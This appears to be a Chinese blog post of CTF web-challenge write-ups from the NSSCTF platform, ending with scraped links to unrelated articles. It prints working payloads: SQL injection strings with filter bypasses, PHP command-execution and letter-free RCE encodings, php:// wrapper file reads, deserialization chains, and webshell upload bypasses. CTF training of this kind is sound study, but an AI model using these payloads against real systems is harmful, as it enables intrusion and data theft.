NSS【web】刷题
[SWPUCTF 2021 新生赛]jicao
类型:PHP、代码审计、RCE
主要知识点:json_decode()函数
json_decode():对JSON字符串解码,转换为php变量
用法:
<?php
$json = {"ctf":"web","question":18};
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>
代码审计:
<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求,传入一个参数id,定义为对象$id
$json=json_decode($_GET['json'],true);
//发送一个GET请求,传入一个参数json;
//true将解析结果以数组形式返回;
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时,输出$flag的值
?>
结果:
[SWPUCTF 2021 新生赛]easy_md5
类型:弱比较、PHP、数组绕过
主要知识点:md5弱比较、数组绕过
代码审计:
<?php highlight_file(__FILE__);include 'flag2.php';if (isset($_GET['name']) && isset($_POST['password'])){$name = $_GET['name']; //获取GET请求中的'name'参数值,并赋值给对象$name$password = $_POST['password']; //获取POST请求中的'password'参数值,并赋值给对象$passwordif ($name != $password && md5($name) == md5($password)){echo $flag;}//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,输出$flag的值else {echo "wrong!";}//条件不满足输出"wrong!"}
else {echo 'wrong!';
}
//如果未提供'name'或'password'参数,输出"wrong!"
?>
特殊字符串
某些特殊的字符串,加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同
常见的密文以0e开头的字符串
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
数组绕过
md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL
[SWPUCTF 2021 新生赛]include
类型:PHP伪协议、文件包含、PHP
主要知识点:php://filter伪协议
发现并没有上传文件的地方
尝试用php://filter伪协议过滤一下flag.php文件(一般flag都在flag.php中)
条件:
只需要读取,allow_url_fopen=on;allow_url_include=off
用法:
?file=php://fileter/read=<过滤器名称>/resource=<要过滤的文件(数据流)>
补充:
php://filter是一种元封装器:设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写,输出base64加密后的信息
convert.base64-encode:转换过滤器,用于过滤base64编码
扩展:
allow_url_fopen:配置选项,默认开启,决定了PHP 是否能够通过URL(而不是本地文件路径)来打开文件,为on时
,
fopen()和file_get_contents()等与文件操作相关的函数可以读取和写入远程文件allow_url_include:配置选项,默认关闭,为on时,PHP 允许通过 URL 的形式,从远程服务器包含和执行PHP 文件
进入到 flag.php页面,发现一串base64编码,解码后即为flag
[SWPUCTF 2021 新生赛]easy_sql
类型:SQL注入
主要知识点:union联合注入
先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”,所以用?wllm=1'尝试,回显成功
用?wllm=1\判断闭合方式,发现是单引号注入
用union联合注入尝试
?wllm=-1' union select 1,2,3--+
回显成功
查询库
?wllm=-1' union select 1,2,database()--+
爆表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
爆列
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
查看flag
?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+
[SWPUCTF 2021 新生赛]easyrce
类型:RCE、PHP
主要知识点:RCE
直接?url=system("ls");
发现回显index.php文件,查看其目录?url=system("ls /");
发现目录中有疑似flag的内容,用?url=system("cat /flllllaaaaaaggggggg");查看
[第五空间 2021]WebFTP
类型:目录扫描、信息收集、.git泄露
主要知识点:dirsearch的使用
用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破
用dirsearch扫描发现git泄露
进入查看
找了一圈没发现flag
重新看扫描结果发现有个phpinfo.php页面,进入ctrl+f搜索flag,得到flag
[SWPUCTF 2021 新生赛]babyrce
类型:空格绕过、RCE、Cookie注入
主要知识点:Cookie注入、shell_exec()绕过
修改cookie值为admin=1得到rasalghul.php文件
进入查看
代码审计:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {$ip=$_GET['url'];if(preg_match("/ /", $ip)){die('nonono');}//正则匹配空格被禁用$a = shell_exec($ip);//shell_exec()将命令的输出作为字符串返回,而不是打印到标准输出。echo $a;
}
?>
将flag放入1.txt文件中,访问1.txt文件即可得到flag(但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件)
[SWPUCTF 2021 新生赛]ez_unserialize
类型:反序列化、PHP
主要知识点:构造pop链
用御剑扫描
进入网页,发现一个php文件
访问
代码审计:
<?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag; //目标}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?>
构造pop链,打开phpstorm
<?phpclass wllm{public $admin;public $passwd;// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "ctf"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo "Just a bit more!";
// }
// }
}//$p = $_GET['p'];
//unserialize($p);$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>
输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag
[SWPUCTF 2021 新生赛]easyupload2.0
类型:文件上传、文件头绕过
主要知识点:不常用的php可执行文件后缀
需要提交jpg文件
用bp抓包 ,修改后缀,尝试双写绕过不可行,用其他php可执行文件的扩展名pht、phtml
用蚁剑连接,成功绕过
打开找flag
[SWPUCTF 2021 新生赛]easyupload1.0
类型:文件上传、MIME绕过、文件头绕过
主要知识点:前端绕过
需要提交jpg文件
用bp抓包修改后缀
连接蚁剑
打开找flag
但是发现这个flag是错误的
用phpinfo查看php服务器的配置信息
ctrl+f搜索flag
或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag
[SWPUCTF 2021 新生赛]no_wakeup
类型:反序列化、PHP
主要知识点:构造pop链、绕过_wakeup()
点进去查看
代码审计
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);} //反序列化之前触发wakeup,给passwd赋值,导致passwd不等于wllmpublic function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag; //目标}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>
构造pop链
<?php
class HaHaHa{public $admin;public $passwd;// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
// public function __wakeup(){
// $this->passwd = sha1($this->passwd);
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "wllm"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->passwd;
// echo "No wake up";
// }
// }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>
由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo "No wake up";
故需要绕过_wakeup(),变量数量大于真实的变量数量即可绕过_wakeup()的执行
[LitCTF 2023]PHP是世界上最好的语言!!
类型:RCE、PHP、无参RCE
提示:探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)
主要知识点:命令注入
尝试点击发现旁边的空白可以输入,根据提示尝试命令注入
发现flag,用system("cat /flag");得到flag
[SWPUCTF 2021 新生赛]PseudoProtocols
类型:PHP伪协议、PHP、文件包含
主要知识点:php://filter伪协议、data伪协议
用php://filter/read=convert.base64-encode/resource=hint.php查看hint.php文件,发现一串base64代码
解码
访问test2222222222222.php
代码审计:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
//file_get_contents()从一个文件中读取所有内容,并将其作为一个字符串返回。
//'r'代表只读模式echo "success\n";echo $flag;
}
?>
用php://input伪协议来获取POST数据,POST为I want flag发现没法查看
用data伪协议查看,得到flag
[LitCTF 2023]导弹迷踪
类型:JS分析、源码泄漏、信息收集
发现是一个游戏,查看源代码也没有什么东西,用御剑和dirsearch也没有扫出东西
直接在js文件里发现flag(一个一个文件找有点麻烦)
[NISACTF 2022]easyssrf
类型:PHP伪协议、PHP
主要知识点:file伪协议
尝试输入一个flag
用file:///fl4g查看/fl4g
访问ha1x1ux1u.php
扩展:
stristr()查找字符串在另一个字符串中第一次出现的位置。所以不能用?file=file:///flag
直接?file=/flag得到flag
[NCTF 2018]签到题
类型:HTTP协议、PHP、信息收集
进入后是一个百度页面,查看源码没找到flag,尝试删除secret.php,发现删除不掉,用bp抓包删除后发送发现flag
[BJDCTF 2020]easy_md5
类型:弱比较、数组绕过、PHP
主要知识点:md5(string,ture)函数
尝试提交个1,发现url处多了个?password=1
尝试sql注入但发现没有回显,感觉不是sql注入
用bp抓包看看,发现一句sql语句
md5()函数
语法:
md5(string,raw)
#string:要加密的字符串
#raw:默认不写是false,32位16进制字符串;如果是true,则会将输入值进行加密,然后转化为16位原始的二进制格式字符串
输入的值都被md5(string,true)函数转化为16位二进制,网上查找要怎么绕过,发现ffifdyop字符串会造成漏洞,md5('ffifdyop',true)=''or'6�]��!r,��b'。由于在mysql里面,在用作布尔型判断时,开头为1的字符串(被单引号包裹)会返回为整型数1(如果直接是数字1则不用单引号包裹),1是true。所以,简化后是password='' or 6,从而绕过md5(string,true)
输入ffifdyop后进入一个新页面
查看源代码
访问levell14.php,进入到数组绕过部分
在POST输入param1[]=1¶m2[]=2得到flag
[suctf 2019]EasySQL
类型:堆叠注入、SQL注入、关键字绕过
主要知识点:堆叠注入、猜测后端sql语句
输入1、2、3...尝试,都返回1
传入flag,尝试Union注入、报错注入、盲注,显示Nonono
尝试堆叠注入,发现可行
爆库
1;show databases;
爆表
1;show tables;
用select flag from Flag应该能得到flag但是flag被过滤了
法一:猜测后端查询语句
猜测后端为:
select $_POST['query'] || flag from Flag
--||表示在Flag表中选择$_POST['query'] 和flag字段,并将它们连接起来作为结果的一部分
本题传入数字会回显1,而传入字符串则无回显,所以猜测可能有||结构存在且Flag表中应该有个flag列。当输入一串字符时||会将这串字符与flag连接起来作为结果,当这串字符和flag两列都存在时才能正确回显。假设输入一个abc,则在后端语句应该会变为:
select abc||flag from <表名>
当表中没有abc这列时则会返回#1054 - Unknown column 'abc' in 'field list'
构造payload:
如果我们输入*,1则后端查询语句会变为:
select *,1||flag from Flag;
--查询Flag中所有列、常量1和flag列。将1与flag连接起来作为结果,由于数字是常量不会出现在查询结果中所以结果中只会有flag这列
传入*,1后得到flag
方法二:sql_mode
sql_mode:一组语法校验规则
sql_mode的值 | 作用 |
ONLY_FULL_GROUP_BY | 对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中 |
NO_ZERO_DATE | mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告 |
ERROR_FOR_DIVISION_BY_ZERO | 在insert或update过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时Mysql返回NULL |
PIPES_AS_CONCAT | 将 || 视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数concat相类似 |
ANSI_QUOTES | 不能用双引号来引用字符串,因为它被解释为识别符 |
设置sql_mode的值为PIPES_AS_CONCAT,则后端查询语句会变为:
select concat($_POST['query'],flag) from Flag
故构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
后端为:
select 1;
set sql_mode=PIPES_AS_CONCAT;
select concat(1,flag) from flag;
[ZJCTF 2019]NiZhuanSiWei
类型:反序列化、PHP伪协议、PHP
主要知识点:data伪协议、构造pop链
分析源码,用?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php进入查看useless.php内容
得到一串base64编码,解码后得到反序列化源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ //触发时机:把对象当成字符串调用if(isset($this->file)){ echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
目标是访问到flag.php的内容
构造pop链
输入?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}得到新界面
打开源代码发现flag
[SWPUCTF 2021 新生赛]easyupload3.0
类型:.htaccess、文件上传、MIME绕过
主要知识点:.htaccess
上传一句话木马jpg文件
打开bp抓包,修改后缀发现被过滤
尝试用双写绕过和不常用的php可执行文件后缀等都无法绕过
发现服务器是Apache
扩展:
.htaccess是apache的分布式配置文件,里面存放着Apache服务器配置相关的一些指令,通过写入SetHandler application/x-httpd-php,可以将上传的一句话木马的jpg文件以PHP的方式执行。
这时候尝试上传.htaccess进行绕过。
再次上传一次shell.jpg的一句话木马文件,此时打开蚁剑连接/upload/shell.jpg连接成功
打开找flag
[SWPUCTF 2021 新生赛]hardrce
类型:无字母RCE、RCE、WAF绕过
主要知识点:取反绕过、目录穿越
代码审计:
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");//$blacklist里的符号、/、/m被过滤了}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");//字母被过滤了
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);//将$wllm转换为代码执行,并返回一个或多个值,通过命令注入获取flag
}
else
{echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
用bp尝试用url编码绕过发现不行(浏览器直接自动解密了)
这时候想到可以利用取反绕过,构造payload:
<?php$a = "system";
$a = urlencode(~$a);//~:取反写法
$b = "ls";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>
运行得到
输入?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);
利用目录穿越
<?php$a = "system";
$a = urlencode(~$a);
$b = "ls ../../../";//目录穿越,一个一个试
$b = urlencode(~$b);
echo $a . "------" . $b;
?>
输入得到,发现flllllaaaaaaggggggg
继续构造
<?php$a = "system";
$a = urlencode(~$a);
$b = "cat ../../../flllllaaaaaaggggggg";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>
输入得到flag
[SWPUCTF 2021 新生赛]error
类型:报错注入、SQL注入
主要知识点:判断注入方式、报错注入
根据页面应该使用sql注入
输入1\判断闭合符,为单引号闭合
尝试union注入,发现不可行
尝试报错注入
爆库:
1' and updatexml(1,concat(0x7e,(select database())),'1')#
//这题注释符好像不能用--+
报表:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db')),'1')#
爆列:
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb')),'1')#
得到一半flag:
1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),1,32)),1)#
得到另一半flag
1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),31,32)),1)#
完整flag:NSSCTF{6f103e1b-68cd-4525-a609-856a71118fbc}
当然这题也可以用sqlmap直接梭哈
[SWPUCTF 2021 新生赛]pop
类型:反序列化、PHP、代码审计
主要知识点:pop链的构造、代码审计
<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;//目标}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}$w00m = $_GET['w00m'];
unserialize($w00m);?>
代码审计:
要得到flag需要触发Getflag()并使admin=w44m,passwd=08067。由于admin是私有属性,passwd是受保护属性所以直接在类里赋值,所以我们需要的就是触发Getflag()。我们可以借助下面的类进行调用。
我们可以看到w33m类下面有一个调用w00m来调用w22m假设我们将w00m赋值为对象w44m()将w22m赋值为Getflag()那么就可以通过调用w44m类调用Getflag()从而达到目的,要触发$this->w00m->{$this->w22m}();需要触发__toString()触发时机为当将对象当作字符串时,w22m类中有一个echo $this->w00m将w00m赋值为对象new w33m()即可触发__toString()
构造payload:
<?phpclass w44m{private $admin="w44m";protected $passwd="08067" ;// public function Getflag(){
// if($this->admin === 'w44m' && $this->passwd ==='08067'){
// include('flag.php');
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo 'nono';
// }
// }
}class w22m{public $w00m;
// public function __destruct(){
// echo $this->w00m;
// }
}class w33m{public $w00m;public $w22m;
// public function __toString(){
// $this->w00m->{$this->w22m}();
// return 0;
// }
}//$w00m = $_GET['w00m'];
//unserialize($w00m);$w2 = new w22m();
$w2->w00m=new w33m();
$w2->w00m->w00m=new w44m();
$w2->w00m->w22m="Getflag";
echo urlencode(serialize($w2));
?>
由于私有属性和被保护属性有不可见字符所以需要urlencode,输入后得到flag
[SWPUCTF 2022 新生赛]ez_ez_php
类型:PHP伪协议、PHP、文件包含
substr(string, int a, int b);
#从第a位截取长度为b的字符串
substr(string, int a) ;
#从第a位截取后面所有的字符串
从第一位开始如果截取前3位为php则会触发echo "Nice!!!"; include($_GET["file"]);
基本没什么影响直接php://filter伪协议就行
解码
发现flag不在flag.php里真正的flag在flag里重新构造
解码 得到flag
[SWPUCTF 2021 新生赛]sql
类型:关键字绕过、空格绕过、SQL注入
想要我们输入东西但是并没有输入的位置,所以应该是在url中输入,网页名给出了参数是wllm,根据题目可知应该是sql注入
用?wllm=1\判断闭合符,为单引号闭合
尝试Union注入、报错注入、盲注,发现被禁止了且有根据页面应该有waf存在
先尝试看看注释符是否被过滤了用#发现不可行,用#的编码%23成功绕过
尝试空格是否被过滤,发现被过滤
尝试用url编码%20发现不可行,用%09发现可以绕过但是用?wllm=1‘%09group%09by%093%23无法判断出列数应该还有过滤,将'替换为url编码%27尝试,发现成功绕过判断出列数为3
开始union联合注入
?wllm=-1'%09union%09select%091,2,3%23
#这里-没有被过滤直接用就行
爆库
?wllm=-1'%09union%09select%091,2,database()%23
爆表
?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=%27test_db%27%23
发现不可行应该是过滤了=,用%09like%09尝试绕过,发现绕过成功
?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09%27test_db%27%23
爆列
?wllm=-1%27%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09%27LTLT_flag%27%23
爆flag
?wllm=-1%27%09union%09select%091,2,group_concat(flag)%09from%09LTLT_flag%23
发现不全,用substring连接试试,发现被过滤了
尝试用mid连接,成功绕过
?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),1,30)%09from%09LTLT_flag%23
发现只显示了20位,说明一次只会显示20位字符串,查看中间20位
?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),21,20)%09from%09LTLT_flag%23
查看最后几位
?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),41,20)%09from%09LTLT_flag%23
得到完整flag:NSSCTF{a36ebc2d-c62a-4c3a-a4ff-5d175b0cd860}
[LitCTF 2023]作业管理系统
类型:文件上传、弱口令、其他
主要知识点:文件上传
打开源代码查看发现默认用户为admin密码为admin(注意这题要是用爆破的话会被封禁环境就废了)
输入后登入
上传一句话木马文件
直接上传成功了
用蚁剑连接
找到flag
[SWPUCTF 2021 新生赛]finalrce
类型:无回显RCE、RCE、WAF绕过
发现exec()函数
exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。
可能是一题无回显的rce,需要用tee命令绕过
尝试一波发现怎么输入都没有回显exec()的返回值,确认是无回显rce
用?url= l\s | tee 1.txt,将回显值放入1.txt文件中(用\绕过waf)
访问1.txt
用?url=l\s / | tee 1.txt查看目录下的文件,发现疑似flag的文件
打开flllllaaaaaaggggggg,发现被过滤了
用\绕过
访问1.txt,得到flag
[鹏城杯 2022]简单包含
类型PHP:伪协议、文件包含、PHP
主要知识点:php://input伪协议、脏数据
发现需要POST传参,所以使用php://input伪协议,发现有waf
尝试获取当前页码的源码
flag=php://filter/read=convert.base64-encode/resource=index.php
解码得到
<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {echo 'nssctf waf!';
} else {@include($path);
}
?><code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
代码审计:
当php://input读取的内容的长度小于800时会回显nssctf waf!
所以php://input读取的内容的长度要大于800
利用脏数据,使得长度大于800
解码得到flag
[HDCTF 2023]Welcome To HDCTF 2023
类型:JS分析、信息收集、源码泄漏
主要知识点:JSUnFuck编码
打开源代码
查看game.js文件,发现secret=一串JSUnFuck编码,很可疑解码看看
解码得到flag
[鹤城杯 2021]EasyP
类型:PHP、正则绕过、文件包含
主要知识点:basename()函数、php特性
代码审计:
post传参一个guess并赋值给变量$guess当$guess的值与$secret的值相等时输出flag,$secret的值需要自己猜测。由于secret的值没法猜测所以只能看看有没有别的绕过。(迷惑项)
当检测到PHP_SELF服务器变量包含有utils.php时返回hacker :),当REQUEST_URI服务器变量包含show_source时返回hacker :)。
检测GET请求中是否设置了show_source参数,如果设置了突出显示当前文件的源代码,如果未设置则调用show_source()函数显示当前文件的源代码
扩展:
$_SERVER:PHP预定义变量之一,可以直接使用,它是一个包含了诸如头信(header)、路径(path)及脚本位置(script locations)信息的数组。
$_SERVER 数组元素
数组元素 说明 $_SERVER['PHP_SELF'] 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://c.biancheng.net/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /test.php/foo.bar $_SERVER['SERVER_ADDR'] 当前运行脚本所在服务器的 IP 地址 $_SERVER['SERVER_NAME'] 当前运行脚本所在服务器的主机名。如果脚本运行于虚拟主机中,该名称就由那个虚拟主机所设置的值决定 $_SERVER['SERVER_PROTOCOL'] 请求页面时通信协议的名称和版本。例如,“HTTP/1.0” $_SERVER['REQUEST_METHOD'] 访问页面使用的请求方法。例如“GET”“HEAD”“POST”“PUT” $_SERVER['DOCUMENT_ROOT'] 当前运行脚本所在的文档根目录。在服务器配置文件中定义 $_SERVER['HTTP_ACCEPT_LANGUAGE'] 当前请求头中 Accept-Language: 项的内容(如果存在)。例如,“en” $_SERVER['REMOVE_ADDR'] 浏览当前页面的用户 IP 地址,注意与 $_SERVER['SERVER_ADDR'] 的区别 $_SERVER['SCRIPT_FILENAME'] 当前执行脚本的绝对路径 $_SERVER['SCRIPT_NAME'] 包含当前脚本的路径 $_SERVER['REQUEST_URI'] URI 用来指定要访问的页面。例如,“index.html” $_SERVER['PATH_INFO'] 包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息(如果存在)。例如,当前脚本是通过 URL http://c.biancheng.net/php/path_info.php/some/stuff?foo=bar 被访问的,那么 $_SERVER['PATH_INFO'] 将包含 /some/stuff
basename()
用法:返回路径中的基本名称部分,去除目录只返回文件名,简单来说就是返回路径最后一个
/
之后的内容语法:
basename($path,$suffix)
$path:要处理的路径
$suffix:可以为null,用于去除文件名缀名
特性:当传入的参数为非ASCII码、乱码、中文等特殊字符时会将其抛弃
根据审计我们发现可以在GET请求中设置show_source的参数(自定义)即show_source=1从而显示当前文件utils.php的源代码,但是由于untils.php和show_source全被过滤了所以我们需要绕过从而使得payload:
/utils.php/?show_source=1。
我们可以利用basename()函数的特性来绕过utils.php的检测,构造payload:
/utils.php/我的阀?show_source=1。
根据php特性,当GET或POST方式传进去的变量名,会自动将 “空格”,“+”,“.”,“[”转化为“_”,所以我们可以用show[source从而绕过_
构造出的payload:
/utils.php/我的阀?show[source=1
这样子就只会检测到后面的show[source=1从而得到当前文件源代码。
输入后发现返回为空,可能是文件路径不对,在前面加上个index.php试试成功返回,所以最终payload:
/index.php/utils.php/我的阀?show[source=1
[LitCTF 2023]Vim yyds
类型:vim泄漏、RCE、源码泄漏
主要知识点:vim编辑器恢复交换文件
用dirsearch扫描发现swp文件
扩展:
SWP文件是在使用vi或vim编辑文件时产生的隐藏文件,用于备份缓冲区中的内容。
将文件下载下来用vim编辑器恢复
自动检索当前目录下的交换文件:
vim -r
恢复交换文件
vim -r index.php.swp
打开查看发现一串php代码
代码审计:
POST请求当password等于base64加密的Give_Me_Your_Flag时执行system命令
开始构造payload
base64加密后:R2l2ZV9NZV9Zb3VyX0ZsYWc=
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=ls /
查看flag
[HUBUCTF 2022 新生赛]checkin
相关文章:

NSS【web】刷题
[SWPUCTF 2021 新生赛]jicao 类型:PHP、代码审计、RCE 主要知识点:json_decode()函数 json_decode():对JSON字符串解码,转换为php变量 用法: <?php $json {"ctf":"web","question"…...

将TailwindCSS默认单位rem转换为px
前言: 我这里需要将 默认的rem 转换为 px 原因是要使用 postcss-px-to-viewport 插件做移动端适配。 在tailwind.config.js文件中进行配置: 注意:这里 padding(内边距)、spacing(外边距)、width…...

命令模式(命令)
命令模式 文章目录 命令模式什么时命令模式通过示例了解命令模式 什么时命令模式 命令模式(Command),将一个请求封装为一个对象,从而使你可用不同的请求对客户进行参数化:对请求排队或记录请求日志,以及支持可撤销的操作。 通过示例了解命令模…...

Android ashmem 原理分析
源码基于:Andoird U Kernel-5.10 0. 简介 ashmem 称为匿名共享内存(Anonymous Shared Memory),它以驱动程序的形式实现在内核空间中。它有两个特点: 能否辅助内存管理系统来有效地管理不再使用的内存块(pin / unpin); 通过Bind…...

redis报错500
之前自己举一反三把value也给序列化了: 然后报错了: 原因是这里传入的是Integer类型,序列化的话就变为string类型了...

GPT-3
论文:Language Models are Few-Shot Learners(巨无霸OpenAI GPT3 2020) 摘要 最近的工作表明,通过对大量文本进行预训练,然后对特定任务进行微调,在许多NLP任务和基准方面取得了实质性进展。虽然这种方法…...

MATLAB数组
文章目录 数组创建通过冒号创建一维数组通过logspace函数创建一维数组通过linspace函数创建一维数组 通过randperm生成随机整数排列运算算术运算关系运算逻辑运算优先顺序 矩阵创建矩阵操作下标引用矩阵信息提取删除与扩展合并矩阵元素的运算矩阵运算 数组 在MATLAB中一般使用…...

JAVA实验项目(二): 抽象类、接口的定义与使用
实验项目二 抽象类、接口的定义与使用 Tips:"分享是快乐的源泉💧,在我的博客里,不仅有知识的海洋🌊,还有满满的正能量加持💪,快来和我一起分享这份快乐吧😊&…...

JVM内存模型最新面试题(持续更新)
问题:java中创建的对象一般放在哪里?(全流程包含从创建到回收) 回答 大部分对象在堆中,这个基本都知道; 少部分对象是会在栈中的,比如作用域不局限于方法内的方法内部变量,这类对象的特征一般就是生命周期…...

Nginx wss to ws 折腾记
jssip 或 sipml5 <----wss--->nginx<---ws---->fs(5066) fs_cli -x sofia loglevel all 9 日志如下: REGISTER sip:192.168.43.135 SIP/2.0 Via: SIP/2.0/WSS df7jal23ls0d.invalid;branchz9hG4bKurFnCK9qJuXQlSrbszSL1S6wbCokKlLr;rport From: <…...

Java入门基础学习笔记22——程序流程控制
程序流程控制:控制程序的执行顺序。 程序有哪些执行顺序? 顺序、分支和循环。 分支结构: if、switch 循环: for、while、do-while 顺序结构是程序中最简单最基本的流程控制,没有特定的语法结构,按照代码…...

java医院信息系统HIS源码SaaS模式Java版云HIS系统 接口技术RESTful API + WebSocket + WebService
java医院信息系统HIS源码SaaS模式Java版云HIS系统 接口技术RESTful API WebSocket WebService 云HIS是基于云计算的医疗卫生信息系统(Cloud-Based Healthcare Information System),它运用云计算、大数据、物联网等新兴信息技术,…...

2024年成都高新区支持企业申报国家、省级、市级大数据产业发展、新一代信息技术与制造业融合发展、工业互联网推广应用等试点示范项目申报对象条件和奖补
一、申报对象 (一)本政策支持注册地址、税收关系在成都高新区,具有独立法人资格的企业。 (二)管理规范,无不良信用记录,自觉遵守安全生产、环境保护等方面的法律法规,近三年未发生…...

让《行列视》解放数据力量,提升业务洞察
